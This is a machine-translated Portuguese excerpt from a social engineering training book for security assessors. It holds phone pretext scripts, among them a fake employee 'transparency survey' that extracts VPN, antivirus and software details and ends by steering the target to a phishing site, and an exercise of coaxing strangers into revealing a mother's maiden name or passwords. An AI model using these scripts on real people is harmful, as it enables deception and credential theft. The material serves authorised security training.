exemplo, tente se passar por um colega de trabalho confuso, ligando para um número interno
e perguntando ao alvo se ele pode acessar alguns sites e recursos; diga a eles que você
não pode acessar um determinado site e pergunte se eles podem. Alternativamente, ligue
para a empresa como se você fosse uma pessoa interessada em trabalhar para ela.
Aproveite suas “aulas da faculdade comunitária” para continuar perguntando sobre TI.

200 Apêndice D
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Pesquisa de Transparência
Ligue para um funcionário da empresa de um número interno para realizar uma
pesquisa de transparência com 10 perguntas. Diga que o foco da pesquisa é saber o
quanto a empresa é transparente e o quanto os funcionários conhecem sobre o negócio.
Pergunte o seguinte:

•Eles usam uma VPN?


•Qual é o horário de trabalho deles?

•Quando é o dia de pagamento?

•Há quanto tempo trabalham na empresa-alvo?


•Qual sistema operacional, navegador e cliente de e-mail são usados?
•Eles têm uma cafeteria?
•Quem faz o controle de pragas?
•Quem são os zeladores?
•Que tipo de antivírus eles usam?

Por fim, tente fazer com que eles naveguem até seu site de phishing. Então
agradecê-los e desligar abruptamente.

Amostra de pretexto 201


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

E
EXERCÍCIOS PARA MELHORAR VOCÊ
ENGENHARIA SOCIAL

Esses exercícios são coisas que normalmente


implemento ao dar aulas presenciais. Eles
procuram ajudar os alunos a superar o medo de
quebrar o gelo proverbial com alvos e condicioná-los
a pedir informações potencialmente sensíveis no local ou em
posições desconfortáveis. Sinta-se à vontade para fazer isso
quando tiver tempo e observe como sua aptidão para a
engenharia social e seus níveis de conforto aumentam.

Ajude um estranho aleatório e, em seguida, solicite “Bandeiras”


Quando estiver fora de casa, procure estranhos tentando tirar selfies. Ofereça-se
para ajudá-los. Se eles aceitarem, peça-lhes que o ajudem com algo. Gosto de usar
“pesquisas antropológicas” ou “pesquisas de palavras para aulas de psicologia” e
fazer algumas perguntas invasivas, como o nome de solteira da mãe ou as senhas.
Tenho notado que tenho mais sucesso em pedir uma donzela de mãe
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

nome ao formular como "qual era o nome da sua mãe antes de ela se casar?" Isso
tende a contornar a regra do firewall mental sobre o nome de solteira da mãe.

improvisar
A comédia improvisada é ótima para melhorar o raciocínio rápido.
Ao fazer avaliações físicas e vishing no local, você deve pensar rapidamente. Nada nunca
sai como planejado. Ter experiência em improvisação ajuda você a se acostumar a se
adaptar a situações constrangedoras, que podem ocorrer sem aviso prévio nesses
engajamentos. Lembre-se da regra da improvisação: nunca diga não.

Comédia em Pé
Assim como a improvisação, a comédia stand-up ajuda na engenharia social. A
diferença entre as duas disciplinas é que uma é ensaiada e a outra não. O benefício para a
comédia stand-up que falta na improvisação é que você tem tempo para criar toda a sua
história de fundo com antecedência. Mas o stand-up normal falha e a improvisação é bem-
sucedida ao inventar coisas na hora. Ambos são importantes, mas oferecem experiências
diferentes.

Oratória/Toastmasters
Falar sempre ajudará. Ficar confortável na frente de um grupo de tamanhos variados é
uma vantagem. Como fazer improvisação, as coisas vão dar errado. Você terá que resolver
e contornar os problemas para ter sucesso. Você também se acostumará a se comunicar
com clareza e a ter mais maneiras de transmitir um ponto.

Por exemplo, a primeira vez que dei minha palestra “Social Forensication” foi no
BSides Orlando em 2018. Três slides na apresentação, meu computador encontrou uma
tela azul da morte. Eu entrei em panico. Depois de levar cerca de 30 segundos para
recuperar a compostura, expliquei o problema para o público, e um amigo subiu no palco e
cuidou do meu computador quando ele voltou a funcionar. Fui honesto sobre esta ser minha
primeira vez apresentando a palestra e expliquei que iria improvisar de memória. O sistema
voltou a funcionar e pude percorrer meus slides para cobrir todo o meu material no tempo
previsto.
Tive que interromper minha demonstração, mas me ofereci para fazê-la no corredor, e
cerca de 15 pessoas saíram para vê-la. Notavelmente, essa não é minha pior experiência
como palestrante, apenas uma que me ajudou a crescer.

Faça operações OSINT em família e amigos


Obtenha permissão de familiares e amigos para coletar OSINT neles.
Dependendo de quão perto você está deles, você pode apenas refinar seus métodos de
pesquisa e avaliar a fidelidade dos dados. Costumo solicitar amigos online que nunca
conheci na vida real para torná-lo um pouco mais

204 Apêndice E
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

desafiador. Para que valha a pena para aqueles que nos permitem coletar
OSINT sobre eles, forneça um relatório do que você encontrar. Não precisa
ser formal ou no modelo do Apêndice B, mas deve ser algo que comprove o
que você encontrou, onde o encontrou, por que é um problema e como removê-
lo (se possível).

Competir em Engenharia Social e OSINT CTFs


A recomendação final que tenho é competir. Várias pessoas e organizações
da comunidade de segurança da informação orquestram eventos capture the
flag (CTF).
Chris Hadnagy, que dirige o SEVillage na Defcon e como autônomo
referência, tem um CTF de engenharia social em ambos os locais. Recon
Village at Defcon e Defcon China têm um elemento CTF. Chris Silvers dirige
OSINT CTFs em BSides Atlanta, GrrCON, NolaCon e outras conferências.
Quando faço treinamento presencial, tenho um elemento OSINT CTF se o curso
for o dia todo ou mais de um dia.
Outra plataforma é o Trace Labs Search Party CTF. O Trace Labs executa vários CTFs
remotos globais e parceiros com uma variedade de conferências para executá-los lá. Eles mantêm
um canal Slack e têm operações em andamento para membros do Slack, nas quais as autoridades
declararam que estão buscando ajuda. Há uma variedade de servidores Discord para OSINT e
engenharia social, incluindo o meu (https:// discord.gg/ p78TTGa).

Exercícios para melhorar sua engenharia social 205


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Você também pode gostar